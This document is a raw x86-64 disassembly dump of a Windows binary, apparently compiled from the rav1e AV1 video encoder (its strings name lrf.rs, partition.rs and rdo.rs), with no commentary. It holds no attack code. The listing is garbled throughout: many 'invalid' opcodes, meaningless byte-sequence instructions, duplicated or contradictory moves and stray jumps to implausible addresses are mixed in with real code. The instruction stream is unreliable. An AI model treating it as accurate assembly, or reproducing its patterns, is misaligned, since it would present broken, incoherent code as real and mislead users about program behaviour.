mov rcx, rdi
call fcn.140059531
cmp qword [rdi], 0
cmp dword [rdi], 0
cmp dword [rdi], 0
jne 0x140072127
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor ecx, ecx
leave
call fcn.1401c66e0
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.1401c66e0
int3
add byte [rax - 0x645d7bf1], al
wait
invalid
add bl, al
lea rcx, str.excessive_value_for_bits_written8
mov edx, 0x20
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
pop r15
jmp fcn.140070fd3
xor eax, eax
lea r9, [rbp - 0x18]
mov qword [r9 + 8], rax
lea r12, [rbp - 0x40]
mov rcx, r12
call fcn.140059531
cmp qword [r12], 0
jne 0x140078bd4
mov r9, qword [rbp - 0x38]
mov rcx, qword [rbp + 0x80]
mov r12, qword [rbp + 0x70]
xor eax, eax
mov rdx, r9
lea r8, [rax + 1]
cmp r8, r15
jae 0x140078b3b
and word [rdx + 4], 0
and dword [rdx], 0
mov byte [rdx + 6], 0
add rdx, 7
inc rax
jmp 0x140078b1d
test r15, r15
je 0x140078b4f
mov byte [rdx + 6], 0
and word [rdx + 4], 0
and dword [rdx], 0
mov rax, r8
xor r15d, r15d
test rcx, rcx
sete r15b
shl r15d, 5
add r15, 0x20
lea rcx, [rbp - 0x18]
mov qword [rcx], r13
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], rax
call fcn.140071ea6
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov rcx, qword [rbp + 0x88]
mov qword [rsi + 0x10], rcx
mov rax, qword [rbp + 0x90]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r14
mov qword [rsi + 0x28], rbx
mov qword [rsi + 0x30], rdi
mov qword [rsi + 0x38], r12
mov rdx, qword [rbp + 0x78]
mov qword [rsi + 0x40], rdx
mov qword [rsi + 0x48], r15
mov qword [rsi + 0x50], rcx
mov qword [rsi + 0x58], rax
mov byte [rsi + 0x60], 1
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
call fcn.1401c66e0
ud2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, r9
call fcn.1401c7190
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, rdx
mov rdx, r11
invalid
call fcn.1401c6f20
add ah, cl
cmp r15, rbp
jbe 0x14007ec4d
dec rcx
cmp rcx, rdx
jae 0x14007eba0
imul rbp, qword [r13]
add rbp, rbp
mov rax, qword [rsp + 0x70]
add rbp, qword [rax + 8]
lea rcx, [rcx*2]
add byte [rax], al
add byte [rax + 1], cl
invalid
jmp 0x14007ea1f
push rsi
movzx eax, word [rcx]
mov qword [rsp + 0xa0], rax
invalid
add byte [rax], al
invalid
mov rdx, qword [rsp + 0xa0]
mov word [rdi + 0x100], dx
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x78
add rax, r8
cmp rax, 0x18
setae al
xchg ebx, eax
rol byte [rsp + rax*4 + 0xac24], 0
je 0x14007ea8d
mov rcx, r10
sub rcx, 1
jmp 0x15e89f95c
add dword [rax], eax
invalid
test r14, r14
je 0x14007eb85
invalid
lea rax, [rdi + r11*2]
movzx eax, word [rax + rcx*2]
movzx ecx, word [r9]
add ecx, eax
movzx eax, dx
imul eax, eax, 6
lea ecx, [rcx + rcx*4]
add eax, ecx
add eax, 8
shr eax, 4
mov word [rdi + 0x100], ax
add rbx, 0x81
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
add eax, 0x1ca645
mov qword [rsp + 0x20], rax
mov r9d, 0x101
mov rcx, r11
mov rdx, rbx
mov r8, rdi
mov rdi, r10
call fcn.1400711bd
dec dword [rcx - 0x77]
ror byte [rax - 0x73], 1
or eax, 0x1ca637
mov qword [rsp + 0x20], rcx
lea rsi, [rsp + 0xe0]
mov ah, 0x24
loopne 0x14007eacc
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rax
mov edx, eax
mov r9, rdi
call fcn.140081f24
movups xmm6, xmmword [rsi]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0xe0]
mov r9d, 1
mov rcx, rsi
call fcn.140081f24
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [r12], xmm6
movups xmmword [r12 + 0x10], xmm0
adc byte [rcx + 0xf], al
adc dword [rsp + 0x20], ecx
movaps xmm6, xmmword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
sbb byte [rcx], al
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x14007ebd3
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x14007ebd1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x14007ebd1
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
movsb byte [rdi], byte [rsi]
sbb al, 0
mov edx, 0x2a
call fcn.1401c6f30
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x14007ebe8
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
lea eax, [0x140248ff0]
add bl, ch
invalid
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
xchg edx, eax
invalid
sbb al, 0
jmp 0x14007ebe8
invalid
invalid
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov rcx, rbx
call fcn.1401c6f20
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x14007ebe8
mov rcx, qword [r8 + 0x20]
cmp rcx, rax
jb 0x14007efdb
shl r11, 2
test r11, r11
js 0x14007efeb
add byte [rax], al
mov rbx, qword [r8 + 0x28]
cmp rbx, r11
cmp ebx, ebx
jb 0x14007efeb
mov r9, qword [r10]
imul r9, r11
add r9, r9
add ecx, ecx
add r9, qword [r8 + 8]
sub rcx, rax
lea r14, [r9 + rax*2]
add rax, qword [r8 + 0x10]
add eax, dword [rax + 0x10]
adc byte [rcx + rbp - 0x25], cl
add r11, qword [r8 + 0x18]
lea r9, [rsp + 0xd0]
add byte [rax], al
mov qword [r9 + 8], r14
mov qword [r9], r10
mov qword [r9 + 0x10], rax
mov qword [r9 + 0x18], r11
sbb byte [rcx - 0x77], cl
and byte [r9 - 0x77], cl
mov dword [rcx + 0x28], ebx
mov rcx, qword [rsi + 0x10]
mov r10, qword [rsi + 0x18]
sbb byte [rax - 0x75], cl
add dword [rbx + rcx*4 + 0x41], ecx
or byte [rcx - 0x76], al
or cl, byte [rbx + rcx*4 + 0x56]
mov edx, dword [rsi + 0x20]
mov r10, qword [r10 + 0x2b0]
xchg edx, eax
mov al, 2
add byte [rax], al
mov r10, qword [r10 + 0x1f0]
movups xmm0, xmmword [rsi + 0x28]
sub byte [rbp + rcx*4 - 0x64], cl
and al, 0
add dword [rax], eax
add byte [rcx - 0x3a], al
or al, 0xa
mov rbx, qword [rsi + 0x38]
pop rsi
cmp cl, al
loop 0x14007edcd
or edx, 1
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x40], edx
movups xmmword [rsp + 0x30], xmm0
xor byte [rcx + rcx*4 + 0x54], cl
and al, 0x28
mov byte [rsp + 0x20], cl
mov cl, 0xd
mov rdx, rax
call fcn.14007f049
mov r9, qword [rsi + 0x40]
mov rdx, qword [r9]
mov rbx, qword [r9 + 8]
test rbx, rbx
je 0x14007ee98
mov r10, qword [rdi]
mov r11, qword [rdi + 8]
mov rax, qword [rdx + 0x20]
and eax, 0x3f
mov ecx, eax
shr r10, cl
mov r8, qword [rdx + 0x28]
shl r10, 2
and r8d, 0x3f
mov ecx, r8d
shr r11, cl
test r10, r10
test edx, edx
js 0x14007effb
add dword [rax], eax
invalid
mov rcx, qword [r9 + 0x20]
cmp rcx, r10
jb 0x14007effb
invalid
shl r11, 2
test r11, r11
js 0x14007f00d
add byte [rax], al
mov rdi, qword [r9 + 0x28]
cmp rdi, r11
jb 0x14007f00d
invalid
invalid
add dword [rax], eax
invalid
sub rcx, r10
sub rdi, r11
fisttp word [rbx + rcx*4 + 0x32]
imul r14, r11
lea rbx, [rbx + r14*2]
lea ebx, [rbx + rsi*2]
lea rbx, [rbx + r10*2]
sbb al, 0x53
add r10, qword [r9 + 0x10]
add r11, qword [r9 + 0x18]
mov qword [rsp + 0x78], rbx
pop rsp
and al, 0x78
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x80], r10
mov qword [rsp + 0x88], r11
pushfq
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdx*4], fs
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x98], edi
add byte [rax], al
jmp 0x14007eec5
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x78], xmm0
and qword [rsp + 0x98], 0
mov qword [rsp + 0x70], rdx
mov rax, qword [rdx + 0x20]
mov r8, qword [rdx + 0x28]
and eax, 0x3f
loopne 0x14007ef00
and r8d, 0x3f
invalid
lea rcx, [rsp + 0xe0]
movups xmm0, xmmword [rcx - 0x10]
invalid
invalid
movups xmm1, xmmword [rcx]
movups xmm2, xmmword [rcx + 0x10]
movups xmmword [rsp + 0xb0], xmm1
add byte [rdi], cl
adc dword [rsp + 0xc0], edx
movups xmmword [rsp + 0xa0], xmm0
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x50]
mov rdx, qword [rsi + 0x50]
mov rsi, qword [rcx]
xor dword [rax - 0x75], ecx
cmp ch, byte [rdx + 4]
pop rdx
mov r9, rdx
mov ecx, eax
shl r9, cl
mov ecx, r8d
shl rdx, cl
mov rcx, r9
call fcn.140072fd0
lea rax, [rsi + 3]
add ecx, dword [rax - 0x73]
pop rdi
add ecx, dword [rcx - 0x77]
mov r14, rax
shr r14, 2
lea rcx, [r14 - 1]
bsr rcx, rcx
not ecx
push 0xffffffffffffffff
pop rdx
shr rdx, cl
shr rbx, 2
inc rdx
cmp rax, 8
clc
or byte [rdx + 1], ch
pop r15
cmovae r15, rdx
mov rdx, r15
mov edx, edi
imul rdx, rbx
ror dword [rax - 0x73], cl
mov word [rax + rax], fs
add byte [rcx], al
add byte [rax], al
call fcn.140080a28
sbb al, byte [rax]
add byte [rax - 0x77], cl
shr eax, 0xf3
sbb al, byte [rax]
add byte [rcx - 0x77], cl
sal dword [rcx], 1
rol byte [rbp + 0x31], cl
invalid
cmp r8, rbx
je 0x14007ef97
inc r8
mov r10, r14
mov rcx, rdx
sub r10, 1
jb 0x14007ef92
cmp rcx, r9
jae 0x14007efcc
mov dword [rax + rcx*4], 0x4000
inc rcx
inc ecx
jmp 0x14007ef7b
add rdx, r15
jmp 0x14007ef6d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
mov r8, rax
call fcn.140080a77
nop
lea rsp, [rbp + 0x1088]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rdx, r9
call fcn.1401c6eb0
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
jmp 0x14007f009
lea rcx, [0x140241d39]
lea r8, str.e__
lea eax, str.e__
jmp 0x14007f01b
lea rcx, [0x140241cf6]
lea r8, [0x140241be8]
fild qword [rbx]
sbb al, 0
push 0x43
jmp 0x14007f01d
lea rcx, [0x140241d39]
lea r8, [0x140241be8]
lea eax, [0x140241be8]
invalid
push 0x44
pop rdx
call fcn.1401c6f30
int3
xor eax, eax
ret
mov r12, rdx
mov rdx, qword [rsp + 0x5f8]
mov rbx, qword [rsp + 0x70]
mov rax, qword [rbx]
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb8], rcx
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0xd0], eax
mov r13, qword [rax + 0x18]
mov rax, qword [rsp + 0x98]
movzx eax, word [rax]
mov word [rsp + 0xa6], ax
mov dword [rsp + 0xa6], eax
test byte [rsi + riz*4], ah
add byte [rax], al
add byte [rax - 0x76], al
mov dh, byte [rdx + 0xc]
mov rax, qword [rsp + 0xa8]
add byte [rax], al
add byte [rax - 0x73], cl
cmp al, 0
lea r8, [0x1402487f0]
lea rcx, [rsp + 0x366]
mov word [rsi + riz*2], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
cli
call case.0x140042142.300
mov rcx, rax
shr eax, 0x6f
add byte es:[rax], al
mov r14, rax
mov r15, rdx
lea r8, [0x140248808]
xchg ebp, eax
sbb al, 0
lea rcx, [rsp + 0x160]
mov rdx, rdi
call case.0x140042142.300
add byte es:[rax], al
mov rcx, rax
mov ecx, eax
call fcn.1400818f8
mov byte [rsp + 0x98], sil
add byte [rax], al
add byte [rax - 0x80], al
dec byte [rdx]
je 0x14007f38a
mov rbp, rax
mov rdi, rdx
mov qword [rsp + 0xc0], r13
mov r8, r15
lea r13, [r15 - 1]
mov rax, qword [rsp + 0x58]
cmp rax, r13
cmovb r13, rax
mov rdx, r14
lea r14, [rdi - 1]
cmp r12, r14
cmovb r14, r12
hlt
mov r15d, 1
lea rbx, [rsp + 0x148]
pushfq
and al, 0x48
add dword [rax], eax
add byte [rcx + rcx*4 + 0x3b], cl
mov qword [rbx + 8], r13
or byte [rcx], dh
test byte [rax - 0x78], 0x73
adc byte [rbp + rcx*4 + 0xd], cl
setne byte [rax + rax]
mov rcx, rbx
invalid
mov qword [rsp + 0x78], rdx
and al, 0x78
mov qword [rsp + 0x58], r8
call fcn.140081914
lea rcx, [0x140248838]
xchg ebp, eax
sbb al, 0
mov qword [rsp + 0x20], rcx
and byte [rax - 0x77], cl
ror dword [rbx + rcx*4 - 0x7c], 0x24
add byte [rax], 0
add byte [rax], al
add byte [rbp - 0x77], cl
jmp 0x1402d4129
and rax, 0xffffffff894c0000
cmp ecx, dword [rcx + rcx*4 + 0x73]
jae 0x14007f351
mov byte [rbx + 0x10], sil
mov r13, qword [rsp + 0x68]
mov ebp, dword [rsp + 0x68]
mov rcx, rbx
call fcn.140081956
test rax, rax
je 0x14007f39b
mov rcx, r12
sub rcx, rdx
cmp rcx, r12
jae 0x1400807bd
adc al, 0
invalid
cmp rdx, rdi
jae 0x1400807cc
add byte [rax], al
mov rax, qword [rsp + 0xb0]
movzx eax, word [rax + rcx*2]
add al, 0x48
mov word [rbp + rdx*2], ax
push rbp
add bl, ch
invalid
xor esi, esi
xor edi, edi
mov rdx, r12
mov r13, qword [rsp + 0x68]
push 0xb48e9
invalid
mov rdx, qword [rsp + 0x5f8]
mov al, byte [rdx + 0xf]
cmovs ecx, dword [rbp + 0x148248c]
add byte [rax], al
mov byte [rcx + 0xf], al
movzx eax, word [rdx + 0xd]
mov word [rcx + 0xd], ax
mov rax, qword [rdx]
add cl, byte [rax - 0x77]
add dword [rbx + 0x41890842], ecx
mov eax, dword [rdx + 8]
mov dword [rcx + 8], eax
mov al, byte [rsp + 0x98]
mov byte [rcx + 0xc], al
call fcn.140073336
mov ebx, eax
cmp r13, 0x5a
je 0x14007f4ca
test dl, ch
add byte [rax], al
invalid
cmp r13, 0xb4
je 0x14007f4ca
add byte [rax], al
cmp qword [rsp + 0x58], 0
mov rcx, qword [rsp + 0x78]
and al, 0x78
je 0x140080839
adc al, 0
invalid
movzx eax, word [rsp + 0xa6]
mov word [rcx], ax
test rdi, rdi
dec dword [rbx + rcx*4 + 0x7c]
mov r15, qword [rsp + 0x60]
mov rdx, qword [rsp + 0xb8]
mov eax, 0xf000000
test byte [rbx], ah
and edx, dword [rax + rax]
invalid
mov word [rbp], ax
mov rax, qword [rsp + 0x70]
and al, 0x70
sub rdx, qword [rax + 0x10]
js 0x140080983
mov rcx, qword [rsp + 0xc0]
sub rcx, qword [rax + 0x18]
sbb byte [rdi], cl
mov byte [rax + 0x15], cl
add byte [rax], al
mov rsi, qword [rsp + 0x88]
cmp rsi, rdx
cmovb rdx, rsi
lea r12, [r15 + 1]
mov r9, r13
sub r9, 0x5a
sub ecx, 0x5a
mov eax, 1
cmovae r12, rax
add r12, rdx
cmp r15, rcx
cmp edi, ecx
cmovb rcx, r15
lea r14, [rsi + 1]
cmp r13, 0xb5
add byte [rdi + rcx + 0x42], cl
invalid
add r14, rcx
mov rcx, rsi
mov rdx, r15
mov r8d, ebx
mov eax, ebx
call fcn.1400733aa
mov rcx, r12
mov edx, eax
mov r8, qword [rsp + 0x78]
mov r9, qword [rsp + 0x58]
call fcn.14008197d
add byte [rax], al
lea r9, [r13 - 0xb4]
mov rcx, rsi
mov rdx, r15
mov r8d, ebx
call fcn.1400733aa
mov rcx, r14
mov edx, eax
mov r8, rbp
mov r9, rdi
call fcn.14008197d
xor edx, edx
cmp r13, 0xb5
add byte [rcx - 0x42], al
add byte [rax], al
add byte [rax], al
cmovae r14, qword [rsp + 0x88]
lea rax, [r13 - 0x5a]
mov rcx, rax
mov ecx, eax
neg rcx
cmovs rcx, rax
add rcx, 0xffffffffffffffd8
cmp rcx, 0xffffffffffffffd9
cmp ecx, 0xffffffd9
jb 0x14007fdc5
add byte [rax], al
test bl, bl
je 0x14007fd89
invalid
or dword [rax], 0
invalid
cmp qword [rsp + 0xa8], 9
jb 0x14007fd98
xor edx, edx
jmp 0x14007fdc5
cmp r9, qword [rsp + 0x60]
je 0x1400805fe
pop rbx
adc byte [rax], al
invalid
cmp r9, qword [rsp + 0x80]
je 0x14008094b
lea rbx, [r9 + 1]
mov r8, qword [rsp + 0x90]
mov r8, qword [r8]
imul r8, r9
mov r10, qword [rsp + 0x58]
lea r14, [r10 + r8*2]
xor al, 0x42
not r9
add r9, qword [rsp + 0x60]
xor r15d, r15d
cmp r15, qword [rsp + 0x88]
je 0x14007f67b
cmp r9, rdi
jae 0x1400806c4
movzx r8d, word [rbp + r9*2]
mov word [rsp + 0x366], r8w
add eax, dword [rax]
add byte [rsi - 0x77], ah
mov ah, 0x24
push 0x49000003
cmp edi, edx
je 0x1400806d3
lea r12, [r15 + 1]
movzx r8d, byte [rax + r15]
mov r13d, 0x100
mov ebp, 0x100
sub r13d, r8d
sub ebp, eax
mov word [rsp + 0x160], r8w
mov dword [rsp + 0x160], r8d
mov word [rsp + 0x162], r13w
add byte [rbp + 0x31], al
rol byte [rbp + 0x31], 0xed
cmp r8, 2
je 0x14007f65d
movzx r10d, word [rsp + r8*2 + 0x366]
movzx r11d, word [rsp + r8*2 + 0x160]
inc r8
imul r11d, r10d
add r13d, r11d
jmp 0x14007f639
cmp r15, rcx
je 0x1400806ee
adc byte [rax], al
invalid
sub r13d, 0xffffff80
shr r13d, 8
mov word [r14 + r15*2], r13w
mov dword [r14 + r15*2], r13d
mov r15, r12
jmp 0x14007f5d8
mov r9, rbx
jmp 0x14007f598
cmp rcx, qword [rsp + 0x60]
je 0x1400805fe
and dword [rdi], ecx
add byte [rax], al
cmp rcx, qword [rsp + 0x78]
je 0x14008093b
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
and al, 0x68
not rcx
add rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0xb0]
add byte [rax], al
mov r13, qword [rax]
mov qword [rsp + 0x90], r9
and al, 0x90
add byte [rax], al
add byte [rbp + 0xf], cl
scasd eax, dword [rdi]
jmp 0x164b3fa60
cwde
add byte [rax], al
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x74], 0x24
mov byte [rax], al
add byte [rax], al
cmp r9, rax
je 0x14007f7d1
cmp rcx, rdi
jae 0x140080698
sldt word [rax]
invalid
cmp r10, rax
je 0x1400806a4
movzx ebx, word [rbp + rcx*2]
movzx r9d, bx
mov r10, qword [rsp + 0x80]
mov edx, dword [rsp + 0x80]
add byte [rax], al
add byte [rbp + 0xf], al
mov bh, 0x34
mov r11d, r9d
sub r11d, esi
lea r12d, [r11 + r14]
mov r10d, r12d
loop 0x14007f7a6
sub edx, ecx
mov r15d, r10d
neg r15d
neg edi
cmovs r15d, r10d
mov r9d, r11d
neg r9d
cmovs r9d, r11d
sub r12d, esi
mov r11d, r12d
neg r11d
fild dword [rbp + 0xf]
fadd qword [rbp + 0x39]
iretd
ja 0x14007f798
cmp r15d, r11d
ja 0x14007f798
cmp rax, rdx
jb 0x14007f7b6
jmp 0x140080783
cmp r9d, r11d
jbe 0x14007f7aa
mov ebx, r8d
cmp rax, rdx
jb 0x14007f7b6
jmp 0x140080808
mov ebx, r14d
cmp rax, rdx
jae 0x1400807ff
mov word [r13 + rax*2], bx
inc rax
mov r9, qword [rsp + 0x88]
mov r10, qword [rsp + 0x58]
jmp 0x14007f722
push rcx
invalid
invalid
invalid
mov r9, qword [rsp + 0x90]
add r9, 2
mov rcx, qword [rsp + 0x68]
jmp 0x14007f6d2
mov rdx, rsi
cmp r14, rsi
mov r10, qword [rsp + 0x60]
jae 0x1400808c3
mov r9, qword [rsp + 0x90]
cmp byte [r9 + r14], 0
je 0x1400809e8
lea rcx, [r10 - 1]
cmp rcx, r12
loope 0x14007f8a2
cmp dword [rdx], 0x10
add byte [rax], al
cmp byte [rax + rcx], 0
je 0x140080a00
mov r9, qword [r8 + 0x28]
mov qword [rsp + 0x98], r9
mov r9, qword [r8]
mov ecx, dword [rax]
mov qword [rsp + 0xa8], r9
mov r9, qword [r8 + 8]
mov qword [rsp + 0xb8], r9
mov eax, 0x4d000000
mov ebx, dword [rax + 0x20]
xor r9d, r9d
mov qword [rsp + 0xc0], rcx
and al, 0xc0
add byte [rax], al
invalid
cmp r9, r10
je 0x1400805fe
cmp r9, qword [rsp + 0x98]
je 0x14008096b
adc byte [rax], 0
invalid
lea r8, [r9 + 1]
mov qword [rsp + 0xb0], r8
mov r8, qword [rsp + 0xa8]
mov r8, qword [r8]
imul r8, r9
mov r10, qword [rsp + 0xb8]
lea r8, [r10 + r8*2]
lea eax, [rdx + rax*2]
mov r10, rcx
sub r10, r9
xor ecx, ecx
mov rsi, qword [rsp + 0x88]
cmp rcx, rsi
je 0x14007fa2d
cmp rcx, rbx
je 0x140080735
cmp r10, rdi
jae 0x140080747
mov rsi, qword [rsp + 0x80]
movzx esi, word [rsi + rcx*2]
movzx ebx, word [rbp + r10*2]
mov word [rsp + 0x366], si
movzx esi, word [rsp + 0x68]
mov word [rsp + 0x368], si
mov dword [rsp + 0x368], esi
mov word [rsp + 0x36a], bx
and al, 0x6a
add eax, dword [rax]
add byte [rdi], cl
mov bh, 0x74
and al, 0x78
mov word [rsp + 0x36c], si
cmp r9, r12
jae 0x140080756
cmp rcx, rdx
je 0x140080762
lea rbx, [rcx + 1]
movzx esi, byte [rax + r9]
mov r14d, 0x100
sub r14d, esi
mov r15, qword [rsp + 0x90]
movzx r13d, byte [r15 + rcx]
mov r15d, 0x100
mov edi, 0x100
sub r15d, r13d
mov word [rsp + 0x160], si
mov word [rsp + 0x162], r14w
and al, 0x62
add dword [rax], eax
add byte [rsi + 0x44], ah
mov dword [rsp + 0x164], ebp
mov word [rsp + 0x166], r15w
mov dword [rsp + 0x166], edi
add word [rax], ax
add byte [rcx], dh
test byte [rbp + 0x31], 0xf6
cmp rsi, 4
je 0x14007f9ff
movzx r15d, word [rsp + rsi*2 + 0x366]
movzx r13d, word [rsp + rsi*2 + 0x160]
inc rsi
imul r13d, r15d
add r14d, r13d
jmp 0x14007f9db
cmp rcx, r11
je 0x140080771
add r14d, 0x100
shr r14d, 9
mov word [r8 + rcx*2], r14w
mov rcx, rbx
mov rsi, qword [rsp + 0x88]
add byte [rax], al
mov rbx, qword [rsp + 0x58]
pop rax
jmp 0x14007f922
mov r9, qword [rsp + 0xb0]
mov r10, qword [rsp + 0x60]
push rsp
and al, 0x60
mov rcx, qword [rsp + 0xc0]
jmp 0x14007f8d4
invalid
lea rcx, [rdi - 1]
cmp rcx, rdx
mov r8, qword [rsp + 0x70]
jae 0x1400808ab
cmp byte [rax + rcx], 0
je 0x1400809d0
mov rcx, qword [r8 + 0x28]
mov qword [rsp + 0x90], rcx
mov r10, qword [r8]
mov r11, qword [r8 + 8]
mov rcx, qword [r8 + 0x20]
mov ecx, dword [rax + 0x20]
xor r9d, r9d
cmp r9, qword [rsp + 0x60]
je 0x1400805fe
cmp r9, qword [rsp + 0x90]
je 0x14008095b
lea rdi, [r9 + 1]
mov rbx, qword [r10]
imul rbx, r9
lea rbx, [r11 + rbx*2]
xor r14d, r14d
cmp r14, qword [rsp + 0x88]
je 0x14007fce1
cmp r14, qword [rsp + 0x58]
je 0x1400806b6
mov r8, qword [rsp + 0x80]
movzx ebp, word [r8 + r14*2]
mov word [rsp + 0x366], bp
mov dword [rsp + 0x366], ebp
mov word [rsp + 0x368], si
cmp r9, rdx
jae 0x1400806df
lea r15, [r14 + 1]
movzx ebp, byte [rax + r9]
mov r12d, 0x100
sub r12d, ebp
mov word [rsp + 0x160], bp
mov word [rsp + 0x162], r12w
xor r12d, r12d
xor ebp, ebp
cmp r12, 2
je 0x14007fcc5
movzx r13d, word [rsp + r12*2 + 0x366]
movzx r8d, word [rsp + r12*2 + 0x160]
inc r12
imul r8d, r13d
add ebp, r8d
jmp 0x14007fca1
cmp r14, rcx
je 0x1400806f7
test byte [rcx], ch
or al, byte [rax]
invalid
sub ebp, 0xffffff80
shr ebp, 8
mov word [rbx + r14*2], bp
mov r14, r15
jmp 0x14007fc3a
mov r9, rdi
jmp 0x14007fc0f
cmp qword [rsp + 0xa8], 0x11
jae case.0x14002e84a.503
xor ecx, ecx
cmp r13, 0x5a
cmovb rcx, qword [rsp + 0x60]
add rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x5d8]
call fcn.140081ab9
mov dl, 1
lea rax, [r13 - 0xb4]
mov rcx, rax
neg rcx
cmovs rcx, rax
add rcx, 0xffffffffffffffd8
cmp rcx, 0xffffffffffffffd9
mov qword [rsp + 0xb8], rdx
jb 0x14007fe25
test bl, bl
mov rax, qword [rsp + 0x60]
je 0x14007fdfc
cmp qword [rsp + 0xa8], 9
jmp 0x14007fe05
cmp qword [rsp + 0xa8], 0x11
mov r9, qword [rsp + 0x5d8]
jae 0x14007fe25
add r14, rax
mov rcx, r14
mov rdx, rbp
mov r8, rdi
call fcn.140081ab9
mov sil, 1
jmp 0x14007fe27
xor esi, esi
mov rbx, rdi
shr rbx, 1
lea r13, [rdi*2]
add r13, rbp
mov rax, rdi
and rax, 0xfffffffffffffffe
sub r13, rax
lea rax, [0x14025e380]
mov qword [rsp + 0x20], rax
xor r15d, r15d
xor ecx, ecx
mov rdx, rbx
mov r8, rbp
mov r9, rbx
call fcn.1400711bd
mov r12, rax
mov r14, rdx
lea rax, [0x14025e398]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, rbx
mov r8, r13
mov r9, rbx
call fcn.1400711bd
dec rbx
mov r13, qword [rsp + 0x68]
cmp rbx, 0xffffffffffffffff
je 0x14007febe
cmp r14, r15
je 0x1400807de
cmp rbx, rdx
jae 0x1400807f0
movzx ecx, word [r12 + r15*2]
movzx r8d, word [rax + rbx*2]
mov word [r12 + r15*2], r8w
mov word [rax + rbx*2], cx
inc r15
dec rbx
jmp 0x14007fe8b
mov rdx, rdi
mov qword [rsp + 0xb0], rbp
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xb8]
not dword [rsp + 0x90]
movzx eax, dil
mov qword [rsp + 0x78], rax
movzx eax, sil
mov qword [rsp + 0x70], rax
cmp r13, 0x5a
mov qword [rsp + 0x68], rdx
jae 0x1400800de
mov rcx, r13
call fcn.140081c7f
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0xc8], rax
xor eax, eax
xor r12d, r12d
xor ecx, ecx
cmp byte [rsp + 0x98], 0xa
setne cl
mov qword [rsp + 0x98], rcx
mov r8, rcx
mov ecx, edi
shl r8, cl
cmp r13, 0x59
